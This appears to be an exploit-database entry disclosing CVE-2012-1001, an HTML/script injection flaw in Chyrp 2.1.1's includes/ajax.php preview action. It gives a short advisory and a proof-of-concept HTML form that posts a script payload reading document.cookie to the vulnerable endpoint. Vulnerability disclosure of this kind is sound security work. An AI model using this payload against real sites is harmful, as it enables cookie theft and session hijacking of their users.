Chyrp 2.1.1 - 'ajax.php' HTML Injection

Author: High-Tech Bridge SA
type: webapps
platform: php
port: 
date_added: 2012-02-22 
date_updated: 2015-05-01 
verified: 1 
codes: CVE-2012-1001;OSVDB-79456 
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application_url: 

source: https://www.securityfocus.com/bid/52115/info

Chyrp is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Chyrp 2.1.1 is vulnerable; other versions may also be affected.

<form action="http://[host]/includes/ajax.php" method="post">
<input type="hidden" name="action" value="preview" />
<input type="hidden" name="feather" value="" />
<input type="hidden" name="field" value="" />
<input type="hidden" name="content" value='<script>alert(document.cookie);</script>' />
<input type="submit" id="btn">
</form>